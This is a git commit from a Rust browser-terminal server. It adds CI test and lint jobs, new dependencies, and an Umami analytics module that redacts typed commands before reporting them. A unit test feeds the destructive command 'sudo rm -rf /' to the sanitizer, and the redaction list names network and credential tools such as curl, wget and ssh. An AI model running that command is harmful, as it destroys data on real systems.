- add cargo fmt / clippy to actions build. - add common unit tests. -
All checks were successful
Build and Deploy to K3s / test (push) Successful in 2m40s
Build and Deploy to K3s / lint (push) Successful in 1m33s
Build and Deploy to K3s / build-and-push (push) Successful in 5m17s
Build and Deploy to K3s / deploy (push) Successful in 9s

improved security sanitization - security spcecific unit tests - add
unit tests to workflow build - add unami analytics.
This commit is contained in:
jasonwitty 2025-11-30 01:37:07 -08:00
parent 9fb9d9ab50
commit 850cf32b50
15 changed files with 2678 additions and 40 deletions

View File

@ -15,7 +15,38 @@ env:
IMAGE_NAME: jason/socktop-webterm
jobs:
test:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Set up Rust toolchain
uses: actions-rust-lang/setup-rust-toolchain@v1
- name: Run tests
run: cargo test --all-targets --all-features
lint:
needs: test
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Set up Rust toolchain
uses: actions-rust-lang/setup-rust-toolchain@v1
with:
components: rustfmt, clippy
- name: Cargo fmt
run: cargo fmt --all -- --check
- name: Clippy
run: cargo clippy --all-targets --all-features -- -D warnings
build-and-push:
needs: lint
runs-on: ubuntu-latest
outputs:
version: ${{ steps.get_version.outputs.version }}

537
Cargo.lock generated
View File

@ -77,7 +77,7 @@ dependencies = [
"actix-rt",
"actix-service",
"actix-utils",
"base64",
"base64 0.22.1",
"bitflags 2.10.0",
"brotli",
"bytes",
@ -355,6 +355,12 @@ version = "1.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8"
[[package]]
name = "base64"
version = "0.21.7"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567"
[[package]]
name = "base64"
version = "0.22.1"
@ -403,6 +409,12 @@ dependencies = [
"alloc-stdlib",
]
[[package]]
name = "bumpalo"
version = "3.19.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "46c5e41b57b8bba42a04676d81cb89e9ee8e859a1a66f80a5a72e1cb76b34d43"
[[package]]
name = "bytes"
version = "1.11.0"
@ -499,6 +511,22 @@ dependencies = [
"version_check 0.9.5",
]
[[package]]
name = "core-foundation"
version = "0.9.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f"
dependencies = [
"core-foundation-sys",
"libc",
]
[[package]]
name = "core-foundation-sys"
version = "0.8.7"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"
[[package]]
name = "cpufeatures"
version = "0.2.17"
@ -703,6 +731,22 @@ version = "1.0.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f"
[[package]]
name = "errno"
version = "0.3.14"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb"
dependencies = [
"libc",
"windows-sys 0.61.2",
]
[[package]]
name = "fastrand"
version = "2.3.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be"
[[package]]
name = "filedescriptor"
version = "0.8.3"
@ -742,6 +786,21 @@ version = "0.1.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2"
[[package]]
name = "foreign-types"
version = "0.3.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1"
dependencies = [
"foreign-types-shared",
]
[[package]]
name = "foreign-types-shared"
version = "0.1.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b"
[[package]]
name = "form_urlencoded"
version = "1.2.2"
@ -920,6 +979,17 @@ dependencies = [
"itoa",
]
[[package]]
name = "http-body"
version = "0.4.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7ceab25649e9960c0311ea418d17bee82c0dcec1bd053b5f9a66e265a693bed2"
dependencies = [
"bytes",
"http",
"pin-project-lite",
]
[[package]]
name = "http-range"
version = "0.1.5"
@ -938,6 +1008,43 @@ version = "1.0.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9"
[[package]]
name = "hyper"
version = "0.14.32"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "41dfc780fdec9373c01bae43289ea34c972e40ee3c9f6b3c8801a35f35586ce7"
dependencies = [
"bytes",
"futures-channel",
"futures-core",
"futures-util",
"h2",
"http",
"http-body",
"httparse",
"httpdate",
"itoa",
"pin-project-lite",
"socket2 0.5.10",
"tokio",
"tower-service",
"tracing",
"want",
]
[[package]]
name = "hyper-tls"
version = "0.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d6183ddfa99b85da61a140bea0efc93fdf56ceaa041b37d553518030827f9905"
dependencies = [
"bytes",
"hyper",
"native-tls",
"tokio",
"tokio-native-tls",
]
[[package]]
name = "icu_collections"
version = "2.1.1"
@ -1071,6 +1178,12 @@ dependencies = [
"libc",
]
[[package]]
name = "ipnet"
version = "2.11.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "469fb0b9cefa57e3ef31275ee7cacb78f2fdca44e4765491884a2b119d4eb130"
[[package]]
name = "is_terminal_polyfill"
version = "1.70.2"
@ -1117,6 +1230,16 @@ dependencies = [
"libc",
]
[[package]]
name = "js-sys"
version = "0.3.83"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "464a3709c7f55f1f721e5389aa6ea4e3bc6aba669353300af094b29ffbdde1d8"
dependencies = [
"once_cell",
"wasm-bindgen",
]
[[package]]
name = "language-tags"
version = "0.3.2"
@ -1135,6 +1258,12 @@ version = "0.2.177"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2874a2af47a2325c2001a6e6fad9b16a53b802102b528163885171cf92b15976"
[[package]]
name = "linux-raw-sys"
version = "0.11.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "df1d3c3b53da64cf5760482273a98e575c651a67eec7f77df96b5b642de8f039"
[[package]]
name = "litemap"
version = "0.8.1"
@ -1190,12 +1319,9 @@ dependencies = [
[[package]]
name = "mime"
version = "0.3.13"
version = "0.3.17"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3e27ca21f40a310bd06d9031785f4801710d566c184a6e15bad4f1d9b65f9425"
dependencies = [
"unicase",
]
checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a"
[[package]]
name = "mime_guess"
@ -1229,6 +1355,23 @@ dependencies = [
"windows-sys 0.61.2",
]
[[package]]
name = "native-tls"
version = "0.2.14"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "87de3442987e9dbec73158d5c715e7ad9072fda936bb03d19d7fa10e00520f0e"
dependencies = [
"libc",
"log",
"openssl",
"openssl-probe",
"openssl-sys",
"schannel",
"security-framework",
"security-framework-sys",
"tempfile",
]
[[package]]
name = "nix"
version = "0.25.1"
@ -1276,6 +1419,50 @@ version = "1.70.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe"
[[package]]
name = "openssl"
version = "0.10.75"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "08838db121398ad17ab8531ce9de97b244589089e290a384c900cb9ff7434328"
dependencies = [
"bitflags 2.10.0",
"cfg-if 1.0.4",
"foreign-types",
"libc",
"once_cell",
"openssl-macros",
"openssl-sys",
]
[[package]]
name = "openssl-macros"
version = "0.1.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "openssl-probe"
version = "0.1.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d05e27ee213611ffe7d6348b942e8f942b37114c00cc03cec254295a4a17852e"
[[package]]
name = "openssl-sys"
version = "0.9.111"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "82cab2d520aa75e3c58898289429321eb788c3106963d0dc886ec7a5f4adc321"
dependencies = [
"cc",
"libc",
"pkg-config",
"vcpkg",
]
[[package]]
name = "parking_lot"
version = "0.12.5"
@ -1399,7 +1586,7 @@ dependencies = [
"shared_library",
"shell-words",
"winapi",
"winreg",
"winreg 0.10.1",
]
[[package]]
@ -1523,18 +1710,118 @@ version = "0.8.8"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7a2d987857b319362043e95f5353c0535c1f58eec5336fdfcf626430af7def58"
[[package]]
name = "reqwest"
version = "0.11.27"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "dd67538700a17451e7cba03ac727fb961abb7607553461627b97de0b89cf4a62"
dependencies = [
"base64 0.21.7",
"bytes",
"encoding_rs",
"futures-core",
"futures-util",
"h2",
"http",
"http-body",
"hyper",
"hyper-tls",
"ipnet",
"js-sys",
"log",
"mime",
"native-tls",
"once_cell",
"percent-encoding",
"pin-project-lite",
"rustls-pemfile",
"serde",
"serde_json",
"serde_urlencoded",
"sync_wrapper",
"system-configuration",
"tokio",
"tokio-native-tls",
"tower-service",
"url",
"wasm-bindgen",
"wasm-bindgen-futures",
"web-sys",
"winreg 0.50.0",
]
[[package]]
name = "rustix"
version = "1.1.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cd15f8a2c5551a84d56efdc1cd049089e409ac19a3072d5037a17fd70719ff3e"
dependencies = [
"bitflags 2.10.0",
"errno",
"libc",
"linux-raw-sys",
"windows-sys 0.61.2",
]
[[package]]
name = "rustls-pemfile"
version = "1.0.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1c74cae0a4cf6ccbbf5f359f08efdf8ee7e1dc532573bf0db71968cb56b1448c"
dependencies = [
"base64 0.21.7",
]
[[package]]
name = "rustversion"
version = "1.0.22"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d"
[[package]]
name = "ryu"
version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c92464b447c0ee8c4fb3824ecc8383b81717b9f1e74ba2e72540aef7b9f82997"
[[package]]
name = "schannel"
version = "0.1.28"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "891d81b926048e76efe18581bf793546b4c0eaf8448d72be8de2bbee5fd166e1"
dependencies = [
"windows-sys 0.61.2",
]
[[package]]
name = "scopeguard"
version = "1.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
[[package]]
name = "security-framework"
version = "2.11.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "897b2245f0b511c87893af39b033e5ca9cce68824c4d7e7630b5a1d339658d02"
dependencies = [
"bitflags 2.10.0",
"core-foundation",
"core-foundation-sys",
"libc",
"security-framework-sys",
]
[[package]]
name = "security-framework-sys"
version = "2.15.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cc1f0cbffaac4852523ce30d8bd3c5cdc873501d96ff467ca09b6767bb8cd5c0"
dependencies = [
"core-foundation-sys",
"libc",
]
[[package]]
name = "serde"
version = "1.0.228"
@ -1746,6 +2033,12 @@ dependencies = [
"unicode-ident",
]
[[package]]
name = "sync_wrapper"
version = "0.1.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2047c6ded9c721764247e62cd3b03c09ffc529b2ba5b10ec482ae507a4a70160"
[[package]]
name = "synstructure"
version = "0.13.2"
@ -1757,6 +2050,40 @@ dependencies = [
"syn",
]
[[package]]
name = "system-configuration"
version = "0.5.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ba3a3adc5c275d719af8cb4272ea1c4a6d668a777f37e115f6d11ddbc1c8e0e7"
dependencies = [
"bitflags 1.3.2",
"core-foundation",
"system-configuration-sys",
]
[[package]]
name = "system-configuration-sys"
version = "0.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a75fb188eb626b924683e3b95e3a48e63551fcfb51949de2f06a9d91dbee93c9"
dependencies = [
"core-foundation-sys",
"libc",
]
[[package]]
name = "tempfile"
version = "3.23.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2d31c77bdf42a745371d260a26ca7163f1e0924b64afa0b688e61b5a9fa02f16"
dependencies = [
"fastrand",
"getrandom",
"once_cell",
"rustix",
"windows-sys 0.61.2",
]
[[package]]
name = "termios"
version = "0.2.2"
@ -1875,6 +2202,16 @@ dependencies = [
"syn",
]
[[package]]
name = "tokio-native-tls"
version = "0.3.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "bbae76ab933c85776efabc971569dd6119c580d8f5d448769dec1764bf796ef2"
dependencies = [
"native-tls",
"tokio",
]
[[package]]
name = "tokio-util"
version = "0.7.17"
@ -1888,6 +2225,12 @@ dependencies = [
"tokio",
]
[[package]]
name = "tower-service"
version = "0.3.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3"
[[package]]
name = "tracing"
version = "0.1.43"
@ -1920,6 +2263,12 @@ dependencies = [
"once_cell",
]
[[package]]
name = "try-lock"
version = "0.2.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b"
[[package]]
name = "typenum"
version = "1.19.0"
@ -1932,6 +2281,18 @@ version = "0.1.7"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2896d95c02a80c6d6a5d6e953d479f5ddf2dfdb6a244441010e373ac0fb88971"
[[package]]
name = "umami_metrics"
version = "0.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cbc9ec451bb0504e32cafb076fe46e0126c70ad167846e3de02f0a2bbebc6839"
dependencies = [
"anyhow",
"reqwest",
"serde",
"serde_json",
]
[[package]]
name = "unicase"
version = "2.4.0"
@ -1983,6 +2344,12 @@ version = "0.15.8"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4e8257fbc510f0a46eb602c10215901938b5c2a7d5e70fc11483b1d3c9b5b18c"
[[package]]
name = "vcpkg"
version = "0.2.15"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426"
[[package]]
name = "version_check"
version = "0.1.5"
@ -1995,6 +2362,15 @@ version = "0.9.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
[[package]]
name = "want"
version = "0.3.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e"
dependencies = [
"try-lock",
]
[[package]]
name = "wasi"
version = "0.11.1+wasi-snapshot-preview1"
@ -2010,6 +2386,74 @@ dependencies = [
"wit-bindgen",
]
[[package]]
name = "wasm-bindgen"
version = "0.2.106"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0d759f433fa64a2d763d1340820e46e111a7a5ab75f993d1852d70b03dbb80fd"
dependencies = [
"cfg-if 1.0.4",
"once_cell",
"rustversion",
"wasm-bindgen-macro",
"wasm-bindgen-shared",
]
[[package]]
name = "wasm-bindgen-futures"
version = "0.4.56"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "836d9622d604feee9e5de25ac10e3ea5f2d65b41eac0d9ce72eb5deae707ce7c"
dependencies = [
"cfg-if 1.0.4",
"js-sys",
"once_cell",
"wasm-bindgen",
"web-sys",
]
[[package]]
name = "wasm-bindgen-macro"
version = "0.2.106"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "48cb0d2638f8baedbc542ed444afc0644a29166f1595371af4fecf8ce1e7eeb3"
dependencies = [
"quote",
"wasm-bindgen-macro-support",
]
[[package]]
name = "wasm-bindgen-macro-support"
version = "0.2.106"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cefb59d5cd5f92d9dcf80e4683949f15ca4b511f4ac0a6e14d4e1ac60c6ecd40"
dependencies = [
"bumpalo",
"proc-macro2",
"quote",
"syn",
"wasm-bindgen-shared",
]
[[package]]
name = "wasm-bindgen-shared"
version = "0.2.106"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cbc538057e648b67f72a982e708d485b2efa771e1ac05fec311f9f63e5800db4"
dependencies = [
"unicode-ident",
]
[[package]]
name = "web-sys"
version = "0.3.83"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9b32828d774c412041098d182a8b38b16ea816958e07cf40eec2bc080ae137ac"
dependencies = [
"js-sys",
"wasm-bindgen",
]
[[package]]
name = "webterm"
version = "0.3.0"
@ -2019,6 +2463,7 @@ dependencies = [
"actix-rt",
"actix-web",
"actix-web-actors",
"anyhow",
"bytes",
"clap",
"env_logger",
@ -2027,10 +2472,12 @@ dependencies = [
"libc",
"log",
"portable-pty",
"reqwest",
"serde",
"serde_json",
"tokio",
"tokio-util",
"umami_metrics",
]
[[package]]
@ -2061,6 +2508,15 @@ version = "0.2.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
[[package]]
name = "windows-sys"
version = "0.48.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
dependencies = [
"windows-targets 0.48.5",
]
[[package]]
name = "windows-sys"
version = "0.52.0"
@ -2088,6 +2544,21 @@ dependencies = [
"windows-link",
]
[[package]]
name = "windows-targets"
version = "0.48.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c"
dependencies = [
"windows_aarch64_gnullvm 0.48.5",
"windows_aarch64_msvc 0.48.5",
"windows_i686_gnu 0.48.5",
"windows_i686_msvc 0.48.5",
"windows_x86_64_gnu 0.48.5",
"windows_x86_64_gnullvm 0.48.5",
"windows_x86_64_msvc 0.48.5",
]
[[package]]
name = "windows-targets"
version = "0.52.6"
@ -2121,6 +2592,12 @@ dependencies = [
"windows_x86_64_msvc 0.53.1",
]
[[package]]
name = "windows_aarch64_gnullvm"
version = "0.48.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8"
[[package]]
name = "windows_aarch64_gnullvm"
version = "0.52.6"
@ -2133,6 +2610,12 @@ version = "0.53.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a9d8416fa8b42f5c947f8482c43e7d89e73a173cead56d044f6a56104a6d1b53"
[[package]]
name = "windows_aarch64_msvc"
version = "0.48.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc"
[[package]]
name = "windows_aarch64_msvc"
version = "0.52.6"
@ -2145,6 +2628,12 @@ version = "0.53.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b9d782e804c2f632e395708e99a94275910eb9100b2114651e04744e9b125006"
[[package]]
name = "windows_i686_gnu"
version = "0.48.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e"
[[package]]
name = "windows_i686_gnu"
version = "0.52.6"
@ -2169,6 +2658,12 @@ version = "0.53.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "fa7359d10048f68ab8b09fa71c3daccfb0e9b559aed648a8f95469c27057180c"
[[package]]
name = "windows_i686_msvc"
version = "0.48.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406"
[[package]]
name = "windows_i686_msvc"
version = "0.52.6"
@ -2181,6 +2676,12 @@ version = "0.53.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1e7ac75179f18232fe9c285163565a57ef8d3c89254a30685b57d83a38d326c2"
[[package]]
name = "windows_x86_64_gnu"
version = "0.48.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e"
[[package]]
name = "windows_x86_64_gnu"
version = "0.52.6"
@ -2193,6 +2694,12 @@ version = "0.53.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9c3842cdd74a865a8066ab39c8a7a473c0778a3f29370b5fd6b4b9aa7df4a499"
[[package]]
name = "windows_x86_64_gnullvm"
version = "0.48.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc"
[[package]]
name = "windows_x86_64_gnullvm"
version = "0.52.6"
@ -2205,6 +2712,12 @@ version = "0.53.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0ffa179e2d07eee8ad8f57493436566c7cc30ac536a3379fdf008f47f6bb7ae1"
[[package]]
name = "windows_x86_64_msvc"
version = "0.48.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538"
[[package]]
name = "windows_x86_64_msvc"
version = "0.52.6"
@ -2226,6 +2739,16 @@ dependencies = [
"winapi",
]
[[package]]
name = "winreg"
version = "0.50.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1"
dependencies = [
"cfg-if 1.0.4",
"windows-sys 0.48.0",
]
[[package]]
name = "wit-bindgen"
version = "0.46.0"

View File

@ -29,6 +29,9 @@ bytes = "1.9"
log = "0.4"
env_logger = "0.11"
libc = "0.2"
umami_metrics = "0.1.0"
reqwest = { version = "0.11", features = ["json"] }
anyhow = "1.0"
[lib]
name = "webterm"

View File

@ -13,6 +13,8 @@ This is a modern web terminal server that provides browser-based terminal access
- Full-featured terminal emulation via xterm.js
- WebSocket-based communication using the Terminado protocol
- High-performance Rust backend
- Privacy-focused analytics with Umami (self-hosted)
- Command sanitization for security and privacy
- Zero-downtime rolling deployments via CI/CD
- Containerized deployment with Docker
- Kubernetes/k3s ready with automated deployments

287
src/analytics.rs Normal file
View File

@ -0,0 +1,287 @@
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
// All rights reserved.
//
// Umami analytics integration for tracking terminal events
use anyhow::Result;
use std::sync::Arc;
use tokio::sync::Mutex;
use umami_metrics::Umami;
/// Umami analytics tracker
pub struct Analytics {
client: Arc<Mutex<Option<Umami>>>,
enabled: bool,
}
impl Analytics {
/// Create a new Analytics instance
///
/// # Arguments
/// * `website_id` - The Umami website ID
/// * `endpoint` - The Umami instance endpoint (e.g., "http://unami.wittyoneoff.com")
pub fn new(website_id: String, endpoint: String) -> Self {
let client = Umami::new(website_id, endpoint);
Self {
client: Arc::new(Mutex::new(Some(client))),
enabled: true,
}
}
/// Create a disabled Analytics instance (no-op)
pub fn disabled() -> Self {
Self {
client: Arc::new(Mutex::new(None)),
enabled: false,
}
}
/// Track a terminal command event
///
/// # Arguments
/// * `command` - The command that was typed (will be sanitized)
/// * `user_agent` - Optional user agent string
pub async fn track_command(&self, command: &str, user_agent: Option<String>) -> Result<()> {
if !self.enabled {
return Ok(());
}
let client = self.client.lock().await;
if let Some(umami) = client.as_ref() {
// Sanitize the command for analytics
let sanitized_command = sanitize_command(command);
let ua = user_agent.unwrap_or_else(|| "unknown".to_string());
// Track as an event
match umami
.event(
"/terminal".to_string(),
"command_typed".to_string(),
ua,
"unknown".to_string(), // hostname
"unknown".to_string(), // language
sanitized_command, // event_data (the command)
)
.await
{
Ok(_) => log::debug!("Tracked command event"),
Err(e) => log::warn!("Failed to track command event: {:?}", e),
}
}
Ok(())
}
/// Track a page view
///
/// # Arguments
/// * `path` - The page path
/// * `user_agent` - Optional user agent string
pub async fn track_pageview(&self, path: &str, user_agent: Option<String>) -> Result<()> {
if !self.enabled {
return Ok(());
}
let client = self.client.lock().await;
if let Some(umami) = client.as_ref() {
let ua = user_agent.unwrap_or_else(|| "unknown".to_string());
match umami
.pageview(
path.to_string(),
"pageview".to_string(),
ua,
"unknown".to_string(), // hostname
"unknown".to_string(), // language
)
.await
{
Ok(_) => log::debug!("Tracked pageview: {}", path),
Err(e) => log::warn!("Failed to track pageview: {:?}", e),
}
}
Ok(())
}
/// Track a terminal session start
pub async fn track_session_start(&self, user_agent: Option<String>) -> Result<()> {
if !self.enabled {
return Ok(());
}
let client = self.client.lock().await;
if let Some(umami) = client.as_ref() {
let ua = user_agent.unwrap_or_else(|| "unknown".to_string());
match umami
.event(
"/terminal".to_string(),
"session_start".to_string(),
ua,
"unknown".to_string(),
"unknown".to_string(),
"terminal_session".to_string(),
)
.await
{
Ok(_) => log::debug!("Tracked session start"),
Err(e) => log::warn!("Failed to track session start: {:?}", e),
}
}
Ok(())
}
/// Track a terminal session end
pub async fn track_session_end(&self, user_agent: Option<String>) -> Result<()> {
if !self.enabled {
return Ok(());
}
let client = self.client.lock().await;
if let Some(umami) = client.as_ref() {
let ua = user_agent.unwrap_or_else(|| "unknown".to_string());
match umami
.event(
"/terminal".to_string(),
"session_end".to_string(),
ua,
"unknown".to_string(),
"unknown".to_string(),
"terminal_session".to_string(),
)
.await
{
Ok(_) => log::debug!("Tracked session end"),
Err(e) => log::warn!("Failed to track session end: {:?}", e),
}
}
Ok(())
}
}
impl Clone for Analytics {
fn clone(&self) -> Self {
Self {
client: Arc::clone(&self.client),
enabled: self.enabled,
}
}
}
/// Sanitize a command for analytics tracking
///
/// This removes potentially sensitive information like:
/// - Passwords in commands (e.g., mysql -p password)
/// - URLs with credentials
/// - SSH keys
/// - File paths (replaced with generic placeholders)
///
/// Returns a sanitized version of the command safe for analytics
fn sanitize_command(command: &str) -> String {
let trimmed = command.trim();
// If empty, return as-is
if trimmed.is_empty() {
return "empty".to_string();
}
// Split into words
let words: Vec<&str> = trimmed.split_whitespace().collect();
if words.is_empty() {
return "empty".to_string();
}
// Get the base command (first word)
let base_cmd = words[0];
// For sensitive commands, only track the command name
let sensitive_commands = [
"ssh", "scp", "sftp", "rsync", "mysql", "psql", "mongo", "curl", "wget", "git", "docker",
"kubectl", "aws", "gcloud", "sudo", "su", "passwd", "chpasswd", "openssl", "gpg",
];
if sensitive_commands.iter().any(|&cmd| base_cmd.contains(cmd)) {
return format!("{} [REDACTED]", base_cmd);
}
// For common safe commands, keep the command and count of args
let safe_commands = [
"ls", "cd", "pwd", "cat", "less", "more", "head", "tail", "echo", "grep", "find", "which",
"whoami", "date", "cal", "clear", "exit", "history", "man", "help", "top", "htop", "ps",
"kill", "df", "du", "free", "uptime", "uname",
];
if safe_commands.contains(&base_cmd) {
if words.len() > 1 {
return format!("{} +{} args", base_cmd, words.len() - 1);
} else {
return base_cmd.to_string();
}
}
// For other commands, just return the base command
base_cmd.to_string()
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_sanitize_empty() {
assert_eq!(sanitize_command(""), "empty");
assert_eq!(sanitize_command(" "), "empty");
}
#[test]
fn test_sanitize_safe_commands() {
assert_eq!(sanitize_command("ls"), "ls");
assert_eq!(sanitize_command("ls -la"), "ls +1 args");
assert_eq!(sanitize_command("cd /tmp"), "cd +1 args");
assert_eq!(sanitize_command("pwd"), "pwd");
}
#[test]
fn test_sanitize_sensitive_commands() {
assert_eq!(sanitize_command("ssh user@host"), "ssh [REDACTED]");
assert_eq!(
sanitize_command("mysql -u root -p password"),
"mysql [REDACTED]"
);
assert_eq!(
sanitize_command("curl https://api.com/secret"),
"curl [REDACTED]"
);
assert_eq!(sanitize_command("sudo rm -rf /"), "sudo [REDACTED]");
}
#[test]
fn test_sanitize_unknown_commands() {
assert_eq!(sanitize_command("customcmd arg1 arg2"), "customcmd");
assert_eq!(sanitize_command("./script.sh"), "./script.sh");
}
#[test]
fn test_analytics_disabled() {
let analytics = Analytics::disabled();
assert!(!analytics.enabled);
}
#[tokio::test]
async fn test_track_command_disabled() {
let analytics = Analytics::disabled();
let result = analytics.track_command("ls -la", None).await;
assert!(result.is_ok());
}
}

View File

@ -47,16 +47,24 @@ const CLIENT_TIMEOUT: Duration = Duration::from_secs(10);
const IDLE_TIMEOUT: Duration = Duration::from_secs(300); // 5 minutes
const IDLE_CHECK_INTERVAL: Duration = Duration::from_secs(30); // Check every 30 seconds
mod event;
mod terminado;
pub mod analytics;
pub mod event;
pub mod security;
pub mod terminado;
use event::{ChildDied, TerminadoMessage, IO};
// Re-export for public API
pub use analytics::Analytics;
pub use security::{validate_command, validate_env_value, ValidationError};
pub use terminado::ParseError;
/// Actix WebSocket actor
pub struct Websocket {
cons: Option<Addr<Terminal>>,
hb: Instant,
command: Option<Command>,
analytics: Option<Analytics>,
}
